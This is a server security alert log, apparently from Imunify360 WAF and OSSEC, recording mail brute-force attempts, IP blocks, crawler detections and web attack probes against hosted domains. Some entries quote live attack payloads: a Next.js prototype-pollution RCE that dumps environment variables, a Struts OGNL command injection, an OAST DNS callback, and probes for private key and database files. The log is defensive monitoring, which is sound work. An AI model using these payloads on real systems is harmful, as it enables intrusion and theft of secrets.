plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.219.228.246
country_id: 1036973
description:
Jul 21 23:30:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.219.228.246 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 54.164.167.77
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/77.0.3865.120 Safari/537.36||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.201.237.208
country_id: 1269750
description:
2026-07-21 23:37:21 dovecot_login authenticator failed for H=(n112120115152.netvigator.com) [106.201.237.208]:42736: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.34.164.13
country_id: 6252001
description:
2026-07-21 23:48:03 dovecot_login authenticator failed for H=(castelo.static.gvt.net.br) [192.34.164.13]:47400: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.154.84.189
country_id: 2287781
description:
Jul 21 23:48:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.154.84.189 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.154.84.189
country_id: 2287781
description:
2026-07-21 23:48:15 dovecot_login authenticator failed for H=([47.215.0.185]) [160.154.84.189]:48951: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.191.74.151
country_id: 6252001
description:
2026-07-22 00:05:37 dovecot_login authenticator failed for H=([95.220.47.46]) [172.191.74.151]:55666: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.191.74.151
country_id: 6252001
description:
Jul 22 00:05:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.191.74.151 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 38.154.206.119
country_id: 6252001
domain: www.ogocindia.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:38.154.206.119||TA:38.154.206.119||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 38.154.206.120
country_id: 6252001
domain: www.ogocindia.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:38.154.206.120||TA:38.154.206.120||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 38.154.206.121
country_id: 6252001
domain: www.ogocindia.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:38.154.206.121||TA:38.154.206.121||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 90.225.214.234
country_id: 2661886
description:
Jul 22 00:24:00 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 90.225.214.234 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.225.214.234
country_id: 2661886
description:
2026-07-22 00:24:02 dovecot_plain authenticator failed for H=90-225-214-234-no2102.tbcn.telia.com (woulpe) [90.225.214.234]:44694: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: modsec
rule: 77469916
abuser: 94.23.35.86
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:errors.gif.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.210.148.41
country_id: 953987
description:
2026-07-22 00:36:37 dovecot_login authenticator failed for H=([103.177.204.4]) [102.210.148.41]:41330: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.39.33
country_id: 2635167
description:
2026-07-22 00:37:23 dovecot_login authenticator failed for H=([220.182.14.60]) [188.122.39.33]:43098: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.31.36.218
country_id: 1835841
description:
Jul 22 00:37:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.31.36.218 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.31.36.218
country_id: 1835841
description:
2026-07-22 00:37:45 dovecot_login authenticator failed for H=([47.199.125.189]) [182.31.36.218]:35368: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.210.164.158
country_id: 1210997
description:
2026-07-22 00:37:57 dovecot_login authenticator failed for H=([68.113.199.243]) [180.210.164.158]:57860: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 180.210.164.158
country_id: 1210997
description:
Jul 22 00:37:55 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 180.210.164.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.122.39.33
country_id: 2635167
description:
Jul 22 00:37:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.122.39.33 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 134.122.94.138
country_id: 2921044
domain: arcrealtors.com.au
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('env || env | sort || env 2>/dev/null || printenv 2>/dev/null').toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/x?out=${encodeURIComponent(res)};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 209.6.226.104
country_id: 6252001
description:
Jul 22 00:41:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 209.6.226.104 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 209.6.226.104
country_id: 6252001
description:
2026-07-22 00:41:05 dovecot_login authenticator failed for H=209-6-226-104.s4710.c3-0.wtr-cbr1.sbo-wtr.ma.cable.rcncustomer.com (24-111-227-52-dynamic.midco.net) [209.6.226.104]:36946: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.205.2.250
country_id: 1269750
description:
Jul 22 00:41:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.205.2.250 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.205.2.250
country_id: 1269750
description:
2026-07-22 00:41:23 dovecot_login authenticator failed for H=([120.25.210.197]) [117.205.2.250]:41907: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.197.6.173
country_id: 3017382
description:
2026-07-22 00:42:56 dovecot_login authenticator failed for H=([203.198.173.145]) [78.197.6.173]:64599: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 38.242.157.30
country_id: 3017382
domain: ahsmarine.com
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.32||T:APACHE||MV:/wp-json/wp/v2/users?_fields=slug&per_page=100&page=1||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 78.197.6.173
country_id: 3017382
description:
Jul 22 00:42:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 78.197.6.173 has been locked due to Imunify RBL


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 68.178.160.25
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.32||T:APACHE||MV:/index.php/wp-json/wp/v2/users?per_page=100&_fields=slug||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 188.164.197.230
country_id: 2510769
domain: ahsmarine.com
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.32||T:APACHE||MV:/wp-json/wp/v2/users?per_page=100&_fields=slug||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 159.223.76.255
country_id: 1880251
domain: ahsmarine.com
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.32||T:APACHE||MV:/wp-json/wp/v2/users?_jsonp=callback&per_page=100&_fields=id,slug||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.187.47
country_id: 99237
description:
2026-07-22 00:49:16 dovecot_login authenticator failed for H=([117.191.127.86]) [65.20.187.47]:43711: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.204.108.217
country_id: 1835841
description:
Jul 22 00:49:44 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.204.108.217 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.204.108.217
country_id: 1835841
description:
2026-07-22 00:49:46 dovecot_login authenticator failed for H=([111.56.169.222]) [210.204.108.217]:39519: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.187.47
country_id: 99237
description:
Jul 22 00:49:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.187.47 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 174.168.146.152
country_id: 6252001
description:
Jul 22 00:54:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 174.168.146.152 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.168.146.152
country_id: 6252001
description:
2026-07-22 00:54:15 dovecot_login authenticator failed for H=c-174-168-146-152.hsd1.ct.comcast.net ([196.216.81.126]) [174.168.146.152]:48511: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.251.149.81
country_id: 6252001
description:
2026-07-22 00:54:34 dovecot_login authenticator failed for H=64-251-149-81.fidnet.com (183.82.108.109.actcorp.in) [64.251.149.81]:34388: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 64.251.149.81
country_id: 6252001
description:
Jul 22 00:54:32 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 64.251.149.81 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.61.82
country_id: 1269750
description:
2026-07-22 01:00:38 dovecot_login authenticator failed for H=([49.124.153.28]) [182.95.61.82]:49934: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 70.183.193.123
country_id: 6252001
description:
Jul 22 01:00:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 70.183.193.123 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.183.193.123
country_id: 6252001
description:
2026-07-22 01:00:22 dovecot_login authenticator failed for H=wsip-70-183-193-123.br.br.cox.net ([220.90.239.209]) [70.183.193.123]:60436: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.61.82
country_id: 1269750
description:
Jul 22 01:00:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.61.82 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.51.162.46
country_id: 3175395
domain: yukticlick.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:82166.yukticlick.com||ServerName:yukticlick.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1a64fe3e529eab9cf5f17d86efbbedd986919010||Title:0x20570501||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 81.171.74.60
country_id: 2635167
domain: ddgalaxy.in
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/etc/ssl/private/server.key||User:ddgalaxy||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 71.229.1.186
country_id: 6252001
description:
Jul 22 01:06:34 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 71.229.1.186 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.229.1.186
country_id: 6252001
description:
2026-07-22 01:06:36 dovecot_login authenticator failed for H=c-71-229-1-186.hsd1.al.comcast.net ([175.197.135.63]) [71.229.1.186]:38960: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 196.196.164.242
country_id: 3175395
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://images.google.co.ve/url?q=http://curlingnetwork.com/groups-2/888starz-%D8%B3%D9%84%D9%88%D8%AA%D8%B3-%D9%88%D9%85%D8%A8%D8%A7%D8%B1%D9%8A%D8%A7%D8%AA-%D9%88%D8%B1%D9%87%D8%A7%D9%86%D8%A7%D8%AA-%D9%81%D9%8A-%D9%85%D9%83%D8%A7%D9%86-%D9%88%D8%A7%D8%AD%D8%AF/\">888starz \xd8\xa7\xd9\x84\xd9\x85\xd9\x88\xd9\x82\xd8\xb9 \xd8\xa7\xd9\x84\xd8\xb1\xd8\xb3\xd9\x85\xd9\x8a</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.148.244.131
country_id: 2802361
domain: keralapeople.com
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/database.sql||User:keralapeople||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 75.80.69.106
country_id: 6252001
description:
Jul 22 01:06:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 75.80.69.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 75.80.69.106
country_id: 6252001
description:
2026-07-22 01:06:23 dovecot_login authenticator failed for H=syn-075-080-069-106.biz.spectrum.com ([152.52.207.80]) [75.80.69.106]:41198: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.171.49.158
country_id: 1733045
description:
2026-07-22 01:09:10 dovecot_login authenticator failed for H=([103.86.127.71]) [183.171.49.158]:60086: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.190.179
country_id: 660013
description:
2026-07-22 01:09:25 dovecot_login authenticator failed for H=dsl-hkibng42-50dfbe-179.dhcp.inet.fi ([192.111.134.12]) [80.223.190.179]:41232: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.97.17.208
country_id: 1835841
description:
2026-07-22 01:09:56 dovecot_login authenticator failed for H=([77.51.231.68]) [61.97.17.208]:55884: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.130.207.227
country_id: 1282988
description:
Jul 22 01:10:32 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.130.207.227 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.130.207.227
country_id: 1282988
description:
2026-07-22 01:10:34 dovecot_login authenticator failed for H=([49.125.201.92]) [103.130.207.227]:48994: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.221.130
country_id: 1269750
description:
Jul 22 01:11:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.221.130 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.221.130
country_id: 1269750
description:
2026-07-22 01:11:44 dovecot_login authenticator failed for H=(201-200-93-6.mad-05-p64.cantv.net.93.208.201.in-addr.arpa) [122.187.221.130]:34368: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.207.248.138
country_id: 2328926
description:
Jul 22 01:12:01 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.207.248.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.207.248.138
country_id: 2328926
description:
2026-07-22 01:12:03 dovecot_login authenticator failed for H=([49.124.131.248]) [41.207.248.138]:35071: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.195.9.20
country_id: 2661886
description:
Jul 22 01:12:46 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.195.9.20 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.195.9.20
country_id: 2661886
description:
2026-07-22 01:12:48 dovecot_login authenticator failed for H=user20.85-195-9.netatonce.net ([213.39.31.14]) [85.195.9.20]:59164: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.121.255.194
country_id: 798549
description:
2026-07-22 01:12:57 dovecot_login authenticator failed for H=([152.52.200.6]) [89.121.255.194]:54591: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77350923
name: IM360 WAF: Apache Struts OGNL injection
abuser: 78.153.140.150
country_id: 2635167
domain: 103.185.74.189
description:
IM360 WAF: Apache Struts OGNL injection||MV:/${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(\"whoami\").getInputStream(),\"utf-8\")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(\"X-Cmd-Response\",#a))}/||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350907
name: IM360 WAF: OAST callback pattern detected
abuser: 78.153.140.150
country_id: 2635167
domain: 103.185.74.189
description:
IM360 WAF: OAST callback pattern detected||MV:/${@java.lang.Runtime@getRuntime().exec(\"nslookup d9fslm5tj5lkmfj9hhqg6t35gk7bayrwe.oast.live\")}/||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 152.39.242.115
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 beginner's guide to crypto payments - <a href=\"https://buyonlinewithcrypto.com/\">https://buyonlinewithcrypto.com</a>, (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.37.27.11
country_id: 1835841
description:
Jul 22 01:22:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.37.27.11 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.37.27.11
country_id: 1835841
description:
2026-07-22 01:22:05 dovecot_login authenticator failed for H=([41.219.149.75]) [118.37.27.11]:51618: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.12.178
country_id: 1269750
description:
Jul 22 01:22:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.12.178 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.12.178
country_id: 1269750
description:
2026-07-22 01:22:23 dovecot_login authenticator failed for H=([49.124.149.55]) [182.95.12.178]:51532: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.169.40.221
country_id: 1269750
description:
Jul 22 01:25:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.169.40.221 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.169.40.221
country_id: 1269750
description:
2026-07-22 01:25:53 dovecot_login authenticator failed for H=(203-220-234-72.tpgi.com.au) [122.169.40.221]:59718: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.179.163.27
country_id: 1269750
description:
2026-07-22 01:26:30 dovecot_login authenticator failed for H=(119-46-148-53.static.asianet.co.th) [122.179.163.27]:45704: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.179.163.27
country_id: 1269750
description:
Jul 22 01:26:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.179.163.27 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.185.253.122
country_id: 1269750
description:
Jul 22 01:29:00 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.185.253.122 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.253.122
country_id: 1269750
description:
2026-07-22 01:29:02 dovecot_login authenticator failed for H=([111.53.189.3]) [128.185.253.122]:44530: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.211.208.125
country_id: 2661886
description:
Jul 22 01:29:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.211.208.125 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.211.208.125
country_id: 2661886
description:
2026-07-22 01:29:14 dovecot_login authenticator failed for H=217-211-208-125-no2550.tbcn.telia.com ([192.111.134.12]) [217.211.208.125]:38360: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.158.208.139
country_id: 1668284
description:
2026-07-22 01:32:16 dovecot_login authenticator failed for H=([119.152.35.178]) [49.158.208.139]:47956: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.158.208.139
country_id: 1668284
description:
Jul 22 01:32:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.158.208.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.171.49.158
country_id: 1733045
description:
2026-07-22 01:32:38 dovecot_login authenticator failed for H=([103.86.127.71]) [183.171.49.158]:57052: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.70.157.25
country_id: 6252001
description:
2026-07-22 01:37:41 dovecot_login authenticator failed for H=(209.66.246.220.static.netvigator.com) [152.70.157.25]:52886: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.70.157.25
country_id: 6252001
description:
Jul 22 01:37:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.70.157.25 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.213.137.209
country_id: 1835841
description:
2026-07-22 01:38:07 dovecot_login authenticator failed for H=([61.37.150.6]) [175.213.137.209]:55178: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.213.137.209
country_id: 1835841
description:
Jul 22 01:38:05 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.213.137.209 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-22 01:42:28 +0530] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.38.195
country_id: 99237
domain: www.travelinbh.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.travelinbh.com/ HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 37.122.149.53
country_id: 6251999
domain: fefkadirectorsunion.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:cve-2026-48907-5186.xml.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 51.195.39.149
country_id: 3017382
domain: elegantautomotives.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/images/images/cache.php||SC:/home/elegantautomotiv/public_html/images/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 173.18.106.54
country_id: 6252001
description:
Jul 22 01:59:01 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 173.18.106.54 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.18.106.54
country_id: 6252001
description:
2026-07-22 01:59:03 dovecot_login authenticator failed for H=([65.20.133.56]) [173.18.106.54]:47662: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.158.10
country_id: 99237
description:
Jul 22 01:59:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.158.10 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.158.10
country_id: 99237
description:
2026-07-22 01:59:32 dovecot_login authenticator failed for H=([200.222.72.41]) [65.20.158.10]:45165: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 02:01:24 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.90.67.84
country_id: 1643084
description:
Jul 22 02:05:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.90.67.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 02:08:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.137.7.97
country_id: 6252001
description:
2026-07-22 02:12:49 dovecot_plain authenticator failed for H=c-73-137-7-97.hsd1.ga.comcast.net (nitora) [73.137.7.97]:46774: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.137.7.97
country_id: 6252001
description:
Jul 22 02:12:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.137.7.97 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.86.169.92
country_id: 1819730
description:
Jul 22 02:18:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.86.169.92 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
